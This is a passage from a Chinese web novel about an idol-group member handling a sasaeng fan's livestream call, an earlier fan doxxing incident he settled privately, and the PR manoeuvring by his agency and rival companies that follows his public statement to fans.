“但是人就会有私心。当一些人的道德底线过低，做出格的事情带给他们的情绪价值高于喜欢时，就会变成私生。”秦正浩看着远处跟他挥手示意，让他赶紧过去拍摄的导演，按住微信语音，直接跟江翰飞说，“大晚上不要想太多大道理，我们只需要知道，私生只在意自己的幻想，道德底线极其的低；对你的喜欢也不是喜欢，他们只是享受越界的感觉，一种众人皆无我独有的越界感。” “如果不想再出现这种粉丝转私生，你应该告诉你的粉丝，你的底线和你的情绪。” “相信你真正的粉丝，都足够爱你。” 江翰飞听着秦正浩的语音，他默然坐在沙发上，抱着自己的腿，一连播放了好几遍才停下。 忽地豁然开朗。 原本私生和粉丝在他脑子里混沌不清的界限突然分明。 他先前真的很困惑为什么会有私生出现。 大家都说私生不是粉丝，可是他们也花钱买票买专，也时间追行程，拍照。 但说他们是粉丝？ 江翰飞第一时间想到的是别车的，在飞机上、在酒店围堵他们的，每天换号码换手机打电话、发短信、申请加好友的，甚至听说业内前辈的私生粉因为自己没赶上航班，就把着急去外地参加活动的爱豆航班也给取消了。他们手里握着爱豆几乎所有的私人信息，身份证号，手机号，家里的住址，甚至是家人的住址和电话。 如果真的是粉丝又为什么会做这些事呢？ 现在他明白了。 就好像这个变成私生的站姐一样。 一开始也许对方是真的作为粉丝喜欢自己，但是到后面，让她享受的不是我给她提供的情绪价值，而是她因为这种越界行为给她带来的愉悦感。 当她成为私生的这一刻，的确不能再算是他的粉丝了。 还想问问秦正浩，现在是怎么处理私生的事情，打字到一半，对方的语音就说要去拍摄了，让他留言晚点再回复他。 江翰飞赶紧删除对话框里还没发出去的话，改成感谢。 起身做起来，看看窗外，现在凌晨三点多，外面天还黑着。 打开手机，转到网上的页面。 之前差点挂上热搜的话题#江翰飞直播事故已经没有了任何热度，公司那边已经在着手压热度。粉丝超话、热点论坛里大家讨论的猜测重点已经被人不着痕迹地引导。 “刚刚我仔细研究了一下今天晚上他们的直播，里面还蛮多东西可以挖掘的。” “我也，仔细翻看几遍，江翰飞中间起码好几次神色不是很自然。” “所以真的是私生吗？球球了，我宁愿是私生，不要大年初一的让我担塌房啊！！” “多半是，怎么可能是女朋友啊，你听那些大神修复后的音频，喊着终于接通了，谁家女朋友光是接通电话就这么开心啊” “不是，姐姐们，这个猜测很恐怖啊私生在直播的时候给偶像打电话，现在的私生已经这么无法无天了吗？” “对私生的道德底线你还抱有什么幻想吗？” “我靠，突然心碎了，被私生纠缠，刚刚却在网上还一直被恶意猜测，说是他女朋友” 刷着大家的讨论，江翰飞想到刚刚秦正浩跟他说的话，如果不想粉丝变成私生，要让他们知道自己的情绪和底线。 在上次上黑热搜的事件里，袁杰作为老前辈，特意问过他情况，也跟他说了一句很类似的话，公众人物对粉丝的约束和引导也很重要。 江翰飞坐在沙发上眨眨眼睛，重新靠在沙发背上。 青川台春晚前三天他们一直在练习和彩排，每天几乎睡不了一个整觉，大部分时间都在车上和等待彩排期间的休息室睡会儿。 昨晚演出完成后，开直播，关直播到现在，他的身体已经非常疲惫。 眼睛酸胀，闭眼都有刺痛感。太阳穴更像是被人用电钻在强力钻井似的疼痛，后脑勺似乎有一根脑神经横贯整个脑袋，两端被人拉扯又拧紧。一阵一阵的疼痛感让他又累又难以入睡。 模模糊糊的黑暗里，他开始打量这个自己已经住了两三年的宿舍。 身下的沙发很软，是山哥特意买的，桌上几人的杯子是禹安买的，脚上穿着的拖鞋是于立果买的，窗台上放着的两株小绿植是吴星雨以增加宿舍含氧量买的。 手里的手机是早些时候粉丝送他的礼物。还没歇下的身上装饰，耳坠，项链，手链和戒指都是粉丝们的礼物。送来的礼物他能用上粉丝们真的会很开心，他见过好多他用这些东西的照片在网上被送礼物的粉丝认领，他们会觉得自己的礼物被认证，被他喜欢。 还有从外地赶来，就为在他上班路下班路等待他，看他一眼的粉丝；有推掉工作给他做数据，送机的粉丝；还有比他自己更担心自己身体，担心自己情绪的粉丝。 我很满意现在的生活。 江翰飞想。 我很幸福，我希望我以后也能这么幸福。 思量再三，江翰飞给唐君君发去信息。 第95章 当他再醒过来的时候已经快十点了，窗外天光大亮，冬日暖阳透过玻璃窗照进来，在短绒地毯上洒下一地金辉。 江翰飞睁眼后看到这个场景，脑子迟钝地想，“这个地毯是我买的。” 等他稍稍清醒，发现自己昨晚给唐君君发完消息之后居然就迷迷糊糊在沙发上睡着了。现在身上盖着不知道谁给他搭的毛绒毯子。 “醒了？”身后传来葛文山的声音，一手拿着面包一手端着杯咖啡，咖啡杯壁上还有凝结的水珠，“你的那份在厨房里，自己去拿。” 说着葛文山又瞥一眼江翰飞，补充道，“先去换个衣服吧，现在也还没卸妆。” 江翰飞下意识摸摸脸，猛然想起自己现在还顶着昨天从青川卫视回来的造型，身上的衣服是昨晚直播的衣服，被压得皱巴巴。 当即掀开毯子，坐起身来，随手把毯子叠好放在沙发一角，从沙发缝隙里拔出手机，走向卧室。 一边往卧室走，一边跟不忘提醒葛文山，“山哥，早上喝冰美式对胃刺激很大，少喝一点冰的吧或者其他咖啡也行。” 葛文山望着江翰飞的背影下意识点点头，又低头看下自己满冰的黑咖，又回到厨房拿了一盒牛奶出来。 改喝冰拿铁。 几步回卧室路上江翰飞解锁手机，打开微信，看到昨晚自己给唐君君发的消息和今天早上对方给他的回复：“上午十一点，到公司会议室老地方再说。” 不知道是不是昨晚把事情想通的缘故，江翰飞今天觉得自己格外有劲儿。 快速冲澡洗头卸妆，还不忘走一套护肤流程，这可也是身为爱豆的职业素养。 一身清爽从浴室出来，又从衣帽间里拎出一套配好的衣服换上。 等他从卧室再出来时，身上已经没有了刚刚在客厅看到的满身疲惫感。 葛文山已经吃完早餐，坐在餐桌边上休息，见他出来精神状态不错，暗暗点头。 江翰飞去厨房端出自己的那份早餐，全麦面包配黑咖啡，加些坚果，这一看就是山哥自己搭配的。 他又看餐桌上放着的牛奶盒，给山哥竖个大拇指，山哥听话的不喝冰咖啡，值得表扬。 葛文山眼皮微抬，总觉得一觉醒来今天早上的江翰飞格外的开朗，多多少少竟然有些禹安的影子。 难道一间卧室睡久了就同化了？ 虽然禹安也很好，不过话太多，两个禹安加一个吴星雨大概他会头疼的。 还是就这样的好。 察觉到山哥的视线，江翰飞没在意：“山哥，大家都回去了吗？” 葛文山回道，“嗯，都早上回的，说是要赶回去一起吃午饭。” “叮嘱我等你醒了给他们说一声。” SterLa-几人家都挺近，葛文山甚至就在车程一个小时的附近。 江翰飞点点头，打开SterLa-几人的群，果然里面已经在疯狂@他。 “江翰飞你小子人呢？@江翰飞2” “怎么一直没说话，山哥不是说他醒了吗？” “你真能睡啊江翰飞@江翰飞2” “也没你能睡，你小子要不是今天老于去叫你，你还能起得来？” “江翰飞，出来说两句@江翰飞2” 他嘴里叼着一片全麦吐司，在群里回道，“在的，起床了。” 他一发言，剩下三人就围上来。 “睡好了吗？” “我们几个先走几步，过两天带好吃的回来投喂你。” “有事别忘了跟哥们儿说啊。” 江翰飞看着群里刷屏的消息，眉眼弯弯地回，“睡到自然醒了。” “少吃点，不然回来又要减肥了。” “会的，今天上午君君姐叫我去公司开会，结束之后我告诉你们。” “应该没问题，早上我看话题基本都压下去没热度了。”于立果在群里说道，他家在市内，今天早上匆匆赶回去也是为了堵着自家老爸问清楚江翰飞的事，“有事千万记得给我们发消息。” 在群里说完，又单独给江翰飞发信息，“阿飞，有事一定记得给我说。” 江翰飞吃完最后一角吐司，把桌上的牛奶一饮而尽，回道，“好的。” 会议室里唐君君和公关部负责人正在讨论这事儿。 “你家江翰飞真的是个犟种。” 唐君君应道，“这个我不否认。” “所以大半夜收到他的消息还让我挺惊讶。” 对方瞄一眼唐君君，“少在我面前炫耀，当我看不出来？” “也就在你面前炫耀一下了。”说着唐君君叹口气。 春节前SterLa-预售成绩刚出时，老板在见SterLa-之前单独跟她聊了会儿，听他的意思是想把出道艺人部的刘部长踢掉，由她或者Hitting的经纪人顶上。 可她带的SterLa-虽然成绩好，但她当经纪人不过两三年，在人脉上，成绩积累上还是比Hitting的经纪人差不少，于情于理她能当部长的可能性并不高；更何况现在让她去做艺人部的部长，SterLa-的管理权必然会被分出去一部分。 和SterLa-几个男生相处这么久，尽管面上对他们还是很严厉，但是心里是拿他们当半个弟弟的，现在这些弟弟也还都是嫩苗，离了她能行吗？ 公关部负责人有自己的消息渠道，对唐君君在公司内部面临的抉择猜到一二，“不如等今天江翰飞聊完再说。” “能下决心给你发信息，我倒觉得你不用再担心他们的想法了。” 正说着，江翰飞推门从外面进来。 唐君君把话收回肚子里，招招手示意江翰飞坐过来，“说吧，什么意思。” 江翰飞坐下，略略环顾四周。 他对这间会议室非常熟悉。 最开始他们成团的时候在这儿互相介绍团队成员，听行程安排。成团后他们在这儿开过打歌复盘会，专辑复盘会，反思自己有什么没做好的地方，怎么在下次打歌中进步，在下一张专辑中改正。再后来他们参与到专辑制作，在这间会议室里和制作人激烈讨论过专辑的选曲，歌曲排列，宣发等细节。 而他自己也因为网络上的各种言论在这间会议室里进进出出，不过今天不一样，今天的会议是他主动向君君姐要求的。 定定神，江翰飞说出自己打好的腹稿，“昨晚姐有说过一种澄清方式，是希望能将上次生日的那件事合并公关。” “我拒绝了您的好意。” 江翰飞说着，看向公关部负责人姐姐的方向，对方放松地倚在座位上，一手支着下巴，没什么神情。 “对，你这是最好的方式，也能合理上次的处理透露出去。”她懒懒说道，这事儿她提过不止一次，但是唐君君拦下她两次，江翰飞自己拒绝两次，她也懒得再提。 尽管她觉得在这个没做好事儿都得营销自己做了好事儿的年头，真的‘好人好事’却闷在壶里不让说实在令人难以理解。 “是我昨晚没想清楚，现在我想明白了。我希望您能帮我这么处理。” 江翰飞认真又坚定的声音回荡在会议室里，让一旁随意姿态的两人不由顿住两秒，默契地朝江翰飞看去。 这真的是犟的不行的江翰飞？可别被人掉包了！ “这么突然改变主意？”负责人做起身来，双手支在桌面上，饶有兴致地问道。 当时费了她和唐君君几个小时的口舌，咬定不松口的江翰飞这次怎么突然改变主意？ “但是我有一个要求。” 啊，熟悉的倔强的认真的眼神。 两人不仅在心里叹道。 生日那晚，被急匆匆找回来的江翰飞也是这么看着她们的。 那晚唐君君和她提出要求江翰飞同公司一起同时发表免责声明，把他自己和公司从粉丝的负面新闻里尽快摘出去，划清界限。 同时意味着在“违法开盒别人”的事件里，所有的责任需要粉丝自行承担，包括但不限于赔偿。 当时她怎么说的来着？ “意思就是我们以公司的名义和你的名义发布声明，直接态度和立场鲜明地表达对粉丝开盒他们的谴责，不给外界任何一点我们有护短行为和举动的怀疑倾向。” “这件事情不是一般娱乐圈内大家互相扯扯头花的事儿。”她直视着江翰飞的眼睛，不让他能闪躲半分，“如果一件事情已经触碰到了法律底线，那么这件事必须依法处理。我们的声明没有任何实质性的作用，只是为了表达我们的立场和态度而已。” “难道你要为了两个不理智的粉丝直接断送你下半生的职业生涯吗？” 她说得很理智，在她看来，这再正常不过的事情，孰轻孰重，哪里还需要考虑？ “这是最明智的。”唐君君看着江翰飞似乎还在反应的样子，垂眸眨眼，又重新看向他。“这已经触发到法律的底线，不是我们个人的问题。” 她也轻声劝道，“而且你得想想如果这件事情你不处理好，不给出鲜明又决绝的态度，以后的粉群可能会出现更多事端。” “尤其，现在是你们团队的上升期。” 江翰飞听见她在团队上加重的咬字，一直垂着的头不由抬起望过来，直直对上她的眼睛，眼神里的茫然无措和无力挣扎刺痛她的眼睛。 她想，这么简单的一件事，对他来说有那么难以抉择吗？ 或者这些粉丝对他就这么重要，让他难以割舍？ “那你们的意思是，要我用我的账号，用我的口吻，去谴责我的粉丝吗？”他轻声问着，男生总是挺拔的背脊微微弯曲，垂着的双手握紧又蜷缩。 “是的。最好今晚就发。速度还要快。”她记得自己的掷地有声，决绝又不容反驳。 大概是当时孤零零站在会议室中间的男生显得太过孤立无援。 唐君君一时间不忍再逼他做决定，退了一步，“我可以用公司公事公办的口吻发声明，但是必须要用你的账号。” “也许你的粉丝能分辨出来，你账号的那条博文不来自于你，是来自公司。” “不来自我？”江翰飞无意识地重复着唐君君的话，望着自己的头像听到声音的木偶，愣愣地转向唐君君的方向，“但是那就是我的账号，前面带的就是江翰飞的名字。” “那你认为她们是对的吗？”她记得自己当时见他这样，心里突然不耐烦，“这是值得你去倡导的吗？” 江翰飞又垂头，好像不抬头不对视不说话就可以拒绝掉那份免责声明。 “我知道她们的行为不对，这是违法的。” “但是，但是” 男生低落的声音在寂静的会议室中清晰可闻。 “那不然你说个办法？” 后来江翰飞说的话让她一直记到现在，也因为当时他说的话才让她愿意在公关的时候询问一二江翰飞的意见。 他说：“我知道她们做的不对，但她们因为喜欢我，关心我，想要保护我才这么做。” “也许最后的结果并不如意，但让我去谴责为我付出而身陷囹圄的人，我做不到。” “如果我愿意为她们赔偿要求的150万，但是要求营销号不能再起诉她们，她们也必须退网回归自己的现实生活呢？” 第96章 当时的会议室安静得落针可闻，谁也没想到一向内敛，脾气软和的江翰飞会提出这样的解决办法。 最终是公关部负责人率先打破了屋内的沉默，“你有想过，你赔偿了这一次就会有二次，三次，以后每次粉丝犯错你都打算为他们买单吗？” 江翰飞嘴唇抿成一条线，又艰难开口，“没有。” “我说不好，也没考虑过下次。我只是想说，这次能不能先不要发免责声明，公司的账号也不要发，对方要求的赔偿我可以承担。” 他只是性格内向，不是傻子。 公司和他发免责声明当然可以把关系都撇干净。到最后担责的当然只有那两个，因为他去做这件事情，又因为公司与他撇清事情关系，最后承担了所有经济和言论后果的粉丝。 何况公司如果发免责声明当然也不会只发免责声明。 私下配合的公关和舆论引导，其他营销号的下场和水军的搅浑水，最后所有的矛头大概都会指向这两位粉丝。 也许公司会考虑粉丝会不会做出过激行为短暂地安抚她们，或者为了让她们配合公司公关帮忙出部分赔偿金。 但营销号要求的赔偿款，如果真的起诉去开庭等产生的费用怎么办？ 最重要的是他也不懂这是刑事还是民事，也不知道会不会给她们留下案底。 只是网络上所有声音的指责大概都会让人崩溃。遑论真到了需要线下上法庭的阶段，她们家人、同学、老师的目光和声音又让这两个还在读大学的学生怎么面对？ 只是随便发散一下，他都不能接受公司给的方案。 “你没有回答我的问题，这只是第一次粉丝犯错，这次承担了，那以后”说到一半，剩下的话自暴自弃地消失在尾音里，“算了，跟你现在讲也讲不通。” “我只跟你确认一件事，你确定你想用自己的钱贴补这次公关和相关处理的所有费用吗？” 江翰飞张张嘴又闭上，似乎是听出她的言外之意，眼睛抬起，看着她小心翼翼地问，“一共会需要多少钱？” 他手里结算的钱只有他们一专、巡演和上半年代言的费用分成，二专和下半年的所有商务结算君君姐说得等这个自然年结束之后，大概得元旦后或者春节后再结算。他现在手里的大概刚好一百多万，没记错的话是167万。 这还是因为他出道之后粉丝们从头到脚送了太多东西。而他也一直是普通的生活习惯，实在没什么花钱的地方，基本上结算都有好好存下来。 但如果光是赔偿就得花150万，也不知道剩下的钱够不够公关费呢？ 见江翰飞一副认真盘算自己财务的样子，公关部负责人和唐君君对视一眼，这才信了江翰飞是真的想要拿自己的钱来给别人买单。 “好了。”负责人打断他内心计算的思绪，见他注意力被牵引过来，接着说道，“赔偿费不是一定要150万，对方虽然说要起诉你的两个小粉丝，要求赔偿账号损失和精神损失150万。” 说着话锋一转，右边的眉毛高高挑起，斜睨着江翰飞，“但我还没告他们散播谣言，恶意造谣你，抹黑你的名誉呢？” 她说的也是实话，营销号几乎都不会选择明着跟某家娱乐公司对着干，除非是对家公司养的号。否则这种情况，他们一告一个准。 而一般情况下，打打擦边球，蹭点时事热点和各家偶像的流量，只要不踩到底线公司是不会管也不会起诉的，说不准还会花钱让他们发营销内容。 黑红黑红，说到底得有流才能红。 且说句不好听的，粉维本来就需要这样的负面消息来小虐一下粉丝，让粉丝们更有挫折感，更有粘性，忠诚度更高。 俗称虐粉和提纯。 太一帆风顺的粉群是走不长久的。 这是圈内所有人的共识。 不过这些就没必要跟艺人讲明了。 “粗粗算下来，顶天也就敢跟我们要个50万的赔偿吧。”负责人靠回座椅，低头看着自己的手指，漫不经心地欣赏着指尖的钻石美甲。 从确认江翰飞要自己承担赔偿那一刻起，她就已经放松下来。别的不提，这次公关费用至少不需要找老板审批，又有个绝佳的营销点等着她们，“重点要考虑的当然是怎么营销这件事。” “营销？”一旁的唐君君皱眉看过来。 刚刚还在想拼命撇清关系，撤热搜，压热度。怎么下一刻又要去做营销扩大知名度？ “当然了。”对方一笑，“大明星为了粉丝豪掷千金，多好的宠粉素材，怎么不能营销了？” 唐君君只当听不出对方话里的嘲讽意味，追问道，“不是说会影响到后续粉丝有样学样？” “那当然是两头商量了，一方面拿着营销号恶意造谣，恶意抹黑我们的名誉为条件，要求他们必须撤诉以及不再保留任何追究那两个粉丝的权利。” 她灿然一笑，让整个会议室的氛围一松，“另一方面嘛，当然得警告那两个粉丝，让她们知道这是犯法的，知道事情的严重性，让她们涨涨教训。” 说着对唐君君和江翰飞露出个狡黠的笑，“也好满足一下江翰飞的愿望，开除粉籍，让她们退网专注自己的生活。” 江翰飞连连摆手，“没有没有。我没表达好，我的意思是希望她们能更专注自己的生活，不要把时间精力再花费到我身上了。” “我也不觉得有粉籍这种说法，可以的话，我希望她们只是喜欢我，但不要因为喜欢我这件事有任何的负担。” “不管是看到我被营销号骂，还是新专辑的销量情况，新专辑的收听数量都不要因为我的关系过于在意，我希望她们就是喜欢我，喜欢听我的歌，喜欢我的舞台，喜欢我的造型，享受我带给她们的快乐就好。” 一段话，江翰飞讲得很朴实，也很笨拙。 “噗——”公关部负责人笑出声来，“你这比要求我让她们白纸黑字地直接签协议要求销号还难。” “管天管地，我还能管她们看什么了？” “反正到时候会通过营销，让全网的人都知道，有江翰飞这么一位好爱豆，给家粉丝赔付了几百万的赔偿款。” “嘶——”在场的其余两名公关部成员倒吸一口凉气。 自家老大下手就是黑啊，几十万也能说成几百万的赔偿，学到了。 “只要我们不正面回应，不正面承认我们有赔偿，几百万的违法成本，不会有人想试第二次的。”她吹吹自己指甲上莫须有的灰尘。 “我不同意。”没等唐君君和其他人反应，江翰飞冷硬又急切地插了一句话。 硬邦邦的语气把刚刚松泛一些的会议室气氛又拉回紧绷的状态。 众人收起嘴角的笑，又齐齐望向江翰飞。 公关部部长心头的火却冒了出来。 她干公关干了十来年，见过多少男女明星，比江翰飞大牌的海了去了。 自己也就看着唐君君的面子和看他人还不错招人喜欢好声好色地说，这倒是给他觉得自己能像顶流一样主宰一切的错觉了？ 她的眼光瞬间冷淡下来，双手拍拍自己的工装裙，一条腿搭在另一条腿上，“哦？你还有意见？” 语气不咸不淡，不冷不热。但硬是让在场其他所有在听的人都能感知到明确的信号，她在生气。 江翰飞看看她又冷又锐利的眼神，刚刚还在这双眼睛里的调笑瞬间消失。 他呆愣一秒，直直看向她，“如果我们还是让这件事被其他人知道了，那两个女生还是是会遭受很多网络言论的指责。” “虽然网络是虚拟的，但被千夫所指，压力真的很大。” 说完又转向唐君君，认真又执拗的眼里多了几分请求。 带着这样的眼神，江翰飞和她们僵持一整晚，不管是她还是唐君君冷脸、发火都不改，坚持不要把这件事让其他人知道。 最后江翰飞赢了。 她和唐君君被江翰飞执着地一遍又一遍说粉丝可能遇见的遭遇，说那两个粉丝可能会做的举措，说服了她们。 最终这件事以江翰飞私下赔偿给那两个营销号60万，营销号删除起诉视频以及放弃追诉权利，另外两个粉丝早已经被吓得不行，接到公司电话听说公司出面进行了赔偿主动提出注销账号，并保证自己以后再也不关注娱乐圈任何事情，回归自己的三次生活。 “什么要求？”公关部负责人看着和当晚如初一辙的眼神，略感好奇，“说说看。” “我想自己发文，说清楚上次赔偿的事情和私生的事情。”江翰飞抿着嘴，是熟悉的倔强的弧度，“我要告诉我的粉丝，我们应该享受的和不应该去触碰或者越界的事情。” “就像您当时问我，如果后续还有粉丝这样做，我是不是要替她们承担二次，三次，无穷无尽的过错。” “当时的我不明白，但现在的我很清楚。” “我不会。” “我现在就要告诉她们，我希望她们能在我这儿好好享受自己的精神世界，但不要做任何违法的事情，不要做任何越界的事情。” “那是不对的。” “我希望我们能一起成长，一起向前。我不要一个人往前跑，也不想他们一直在我后面，我想和他们并肩。” “也许是我一厢情愿，但对我而言，我的队友除了SterLa-，还有他们，也有各位。” 第97章 春节很热闹，现实里各处张灯结彩，红红火火。 网络上也一浪接着一浪地翻滚，除了各路明星、品牌、企业欢庆春节使出十八般武艺，各种奇闻轶事在热搜上来来回回。 大浪小浪里，文娱榜单的尾巴又慢慢爬上来一个新词条，#江翰飞直播女声。 “什么情况？又直播了？” “这个词条的热度走势好奇怪，忽高忽低的，今天凌晨突然很高，又快速降低，现在又突然爬上来。炒冷饭？” “快速降低那必然是有人给它降温了啊[狗头]” “乐狮人呢？大年初一不干活呢？” 粉丝超话里早有人看到这个上来的词条。也搞不明白这个昨晚已经被压下去的词条，现在怎么突然又上来？ 但可以确定的是，这一定是对江翰飞有负面影响的词条。 大年初一的晚上，窝在家里上网冲浪的人比昨天多不少。一时间超话里的粉丝们眼睁睁就看着词条飞速从文娱榜单的尾巴窜上了主榜的尾巴。 不等江翰飞后援会的官方账号发言，身经百战的小蝴蝶们就察觉到不对。 一条已经被压下热度的词条突然又窜上来，怎么看都会怀疑这是有对家在故意搞事吧？ 于是大家自发的在超话，粉群里相互提醒。 “越是被推到风口浪尖上时，越要保持沉默和冷静。姐妹们，保持冷静！” “如果你愿意相信江翰飞，愿意这个时候和他并肩战斗，那就不要随意发言，不要去和别人对线，不理智的行为破坏的是江翰飞和整个粉丝群体的形象。” “我们遵循先撩着贱原则，不要主动去找事儿，但在这个时候故意犯贱的那些人，也不用容忍，直接一个平A上去我们一起开大就行。” 别的不说，小蝴蝶们经历风风雨雨，被几家围攻黑广场也是有的，洗自家广场早就洗出经验。久病成良医，自然对怎么黑别家广场也经验十足。 不过一两个小时，寒冷的冬夜没能阻止网友们吃瓜的心。重新炒起来的词条热度瞬间暴涨，在各大社交平台传得沸沸扬扬，有直接做视频分析的，做视频音频分离的，有根据SterLa-最近行程或者公开活动猜测他们的理想型或者是交友情况的。 连昨天的各种视频也一并被挖出来，在各平台炸开花。 直播时间里出现女声叫喊江翰飞后，SterLa-火速下播，乐狮又连夜出手压热度。怎么看都带着几分落荒而逃的意思。 “劲爆视频分析，新一线男团SterLa-跨年直播竟然暴露女朋友？点击链接直接跳转。” “服了，还没有定论的事情就别乱传了吧？真不怕乐狮直接一张起诉书给你送走？” “粉丝还在犟什么啊？是别人音频里声音放大的不够吗？明显就是个女声啊？跨年当晚，还在直播就敢一边跟女朋友通话一边跟粉丝聊天，面上还一副羞涩内敛的样子，要不要脸啊？” “等一个实锤，光是一个声音，谁能分得清楚是私生还是他谈恋爱的女朋友？” “明显就是私生啊，谁女朋友接通电话就哇哇叫，尖叫着说我爱你的，当演电视剧呢？” “我本来也以为是私生，但是看禹安下播的速度和后面乐狮压热度的动作，反而让我觉得不是私生。这不就是男朋友或者老公出轨之后帮忙打掩护的那帮狐朋狗友的做派吗？” “都快一天了，真没动静吗？沉默按默认处理了啊。” 一片沸沸扬扬中，被乐狮教训过几次，和乐狮对立或者关系不好的营销号反而在说这件事时竟意外的嘴下留情，对热点表露出一副欲拒还迎的姿态。被不少网友嘲笑他们这是被乐狮给干怕了。 所谓重赏之下必有勇夫，不少自媒体营销号见词条热度这么高，还在不断上攀。流量这么大的当下自然也有人为了流量和钱冒着被起诉的风险胡编乱造，有好事儿的网友特地制作了一个名单，说要等江翰飞这事儿结束后看看乐狮法务部的实力。 当然了，也少不了对家和黑子装聋装瞎，在乱七八糟的脱□□ot中表演自己对江翰飞失望至极的脱粉回踩，在被发现脱粉截图是盗图后又喜获一波群嘲。 网上的烟花炸得比窗外的烟花还要五花八门，争奇斗艳。 随着事件热度不断攀升，一个小时内眼见就要跑进前十，吃瓜网友们也开始认真拉时间线，拉视频分析复盘事件情时。 即担心又焦虑大年初一会不会又像以往那样有黑子买流上热搜，在今天让自家爱豆堵心的小蝴蝶们随手一刷，突然刷到了自家爱豆刚刚发了最新的博文的提示。？ 江翰飞！你这个时候来凑什么热闹？！ 她们即忧又愁，眼下网友情绪正盛，这个时候当事人跑出来发博文能有什么待遇可想而知。 抱着绝对不和待会儿看到的智障发言一决高下的决心，她们匆匆点进去一看，发现居然是难得一见的长博文。？ 小蝴蝶们看看江翰飞的名字，点进主页反复确认，还真是他们那个内敛的阿飞写的长博文？ 怕是之前发的博文加起来的字都没这么多。 不对！ 难道乐狮把阿飞一个人推出来挡刀了？！ 我杀你乐狮！ 又匆忙点回主页开始细看的小蝴蝶们心中的愤怒慢慢消失，转而化为一阵心碎。 @SterLa-江翰飞：【大家好，我是江翰飞。 除了登台与大家见面，我似乎很少这么正式地与大家打招呼。 但这次我想非常正式地与大家打招呼，然后也正式以及郑重地说明一下近期网络上出现的有关于我的言论。 希望大家能耐心看完。 首先，关于昨天跨年直播中，网络上都在传最后部分有听到女生的声音在叫我的名字。 在此说明，的确是有一位女生的声音。 她曾经是我的粉丝。 现在是私生。 大家昨天晚上听到的女声是她有意在直播期间拨打我的电话，被我误触通话导致。在接通电话之前，那场直播中还有几十个未接来电。 因为这件事情我没有及时站出来向大家说明，让大家伤心或者担心，我很抱歉。 在此我也郑重地表达一下我对她以及对所有私生的态度：请不要成为私生，请不要做越界的事情，请不要打扰我的私人生活。 我非常非常的不喜欢。 其次，在先前我生日期间，有关于我的粉丝违规透露他人信息的事件。大概还有许多人在等着它的后续。 目前这件事情由公司出面沟通，最终双方已经达成和解。 借着这次机会，我也想郑重地向大家表明我的态度和原则：请遵守法律法规，不要做任何违法违规的事情，即使是为了我。 不希望这些事情出现下一次、下下次。请不要因为一时的冲动和情绪给自己的人生留下遗憾。 作为一名职业偶像，我希望带给大家的是快乐，是共鸣，是梦想。也许是你在忙碌疲惫的日常生活里，能够短暂躲起来恢复自己的小空间；或许是你因为各种原因受箍于现实生活，将一些情感寄托的地方；或者只是当成一种爱好和乐趣。 我希望你看到我时，第一反应是开心，而不是忧愁。如果我的存在给你增添了任何负担，那都不是我想要的。 我们因为你们存在，爱你们自己就是爱我们。所以多多关心自己，关注自己，好好享受自己的生活，不要为了我们或者为了任何人去做违背道德底线和法律界限的事情。 希望未来我们能一起向前，感谢还愿意相信我和我并肩前行的所有人。 大家新春快乐，一定开开心心地过年。 PS：还请大家不要再去深挖这些事件中出现的所有人，必要时我也会用法律武器保护我自己的。不用担心我。】 “原来真的是私生啊还是一位曾经是粉丝的私生” “SS滚啊！不要去伤害他！！！你们害他害得还不够吗？” “我看到一半就哭了，原来真的是私生不是被那么多人猜测的圈外女友。既然是私生，那么那些言之凿凿，造谣一定是他女朋友，说他塌房的那些人呢？” “这是公司写的稿子吗？这么公式化。” “我有我自己的权利和自由，我想怎么追星就怎么追星，你凭什么管我？年纪不大少到处给人当爹。” “宝宝我的宝宝，我就知道你是最好的，我们可以永远相信江翰飞！” “bdjw，这是在训粉吗？说得还冠冕堂皇的。” “你说人家是私生就是私生，拿出证据来！” “看到前面还好，原本就知道他不可能在这个时候恋爱，但后面解释生日那件事真的虐到我了，谁还记得他生日当天有多少生咖，多少祝福？大家只记得在生日那天他上了三个黑热搜，其中一个甚至就在他的生日祝福词条上面。” “说的比唱的好听，不想给粉丝增加负担你发什么专辑，卖什么周边？当了X子立牌坊。” “不行了，一边被人在网上骂，一边私底下一直忍受着私生的伤害，为什么所有人都在欺负他？” “百万销量的人说自己不想给粉丝增加负担，我笑了。” “马后炮，事情结束了假惺惺地说几句谁不会，当时你干嘛去了？” “会的，我们会开心过年，过好自己的生活，你也要好好照顾自己，过好自己的生活。” 说长也长，说短也短的博文不需要多久就能看完通篇。 只是看完之后大家也都不愿意就这么放过撞到枪口上的事件主角，一边在下面翻看着各种评论，一边将微博分享给自己的吃瓜好友。 卡在门槛的词条被江翰飞这一贴博文直接推进主榜热搜前十。 “怎么样？他们下场了吧？”公关部负责人问着电话那一头的下属，虽然是问句，一字一句间透露出的却是肯定的语气。 “有了有了，K家、安阳、非盛都下场了。”下属在另一边声音兴奋，大年初一加班，但是奖金超丰厚的，“现在热度已经到前榜四了。” “很好，继续追踪，别让热度掉下来。各个小组的号可以开始造势了。”她拿笔敲打着眼前的桌面，“什么时候他们帮我们登顶了，公告就什么时候发。” 第98章 江翰飞和SterLa-在去年的势头实在太猛，一旦有任何机会能把他们踩下来，其他公司都不会放过。 当江翰飞的词条热度一开始攀升，其他几家的公关部都注意到了。在这个时候没有任何沟通，竟也默契地轮番往里砸钱加热。 “这么多家一起给你砸钱加热，我看你还怎么压热度。”安阳娱乐公司新上任的公关部负责人深深吸一口烟，缓缓吐出。他上一任就栽倒在乐狮的公关部下，被别人当猴耍。 他一入职老板就告诫他，任何与乐狮相关的公关操作一定要慎重。 然而现在老板电话打不通，时机稍纵即逝，机不可失时不再来。他先斩后奏直接砸了50万帮对方加热，和其他几家心照不宣地帮乐狮‘维护’词条热度。 “哼。”他得意的吐出一口烟圈消散在眼前，似乎是入职以来面临的强压也随着烟圈消散在空气里。 在钞能力的攻势下，他们看着词条热度上升趋势，仿佛看见了股市上升趋势，笑得见牙不见眼，只等着到最高点抛售变现。 可惜有些人总是吃一堑长不了一智。 “嗡嗡——”桌上的手机开始震动。 他懒得起身，靠在沙发躺椅里，伸手够住手机，也没看是谁的电话，就懒洋洋的问道，“哪位？” “哪位？”浑厚低沉的声音从电话那头传来。 他叼着的烟一下子落到裤子上，灼出几点黑色。 来不及心疼自己新买的得小两万的裤子，连忙道歉，“骆总，不好意思不好意思。” “刚刚接电话接得急没来得及看清楚人。” “我看你也是该好好看清楚自己了。”对面的声音用力一震，似乎是有些生气。他脑子一转，想到老板的心腹大患和他刚刚给这个心腹大患挖的坑，当即说道，“老板别生气，我刚刚是正在看乐狮娱乐下SterLa-最新的负面词条。” “嗯？你没投钱吧？”对面的声音一个卡顿，说出没什么情绪的话。 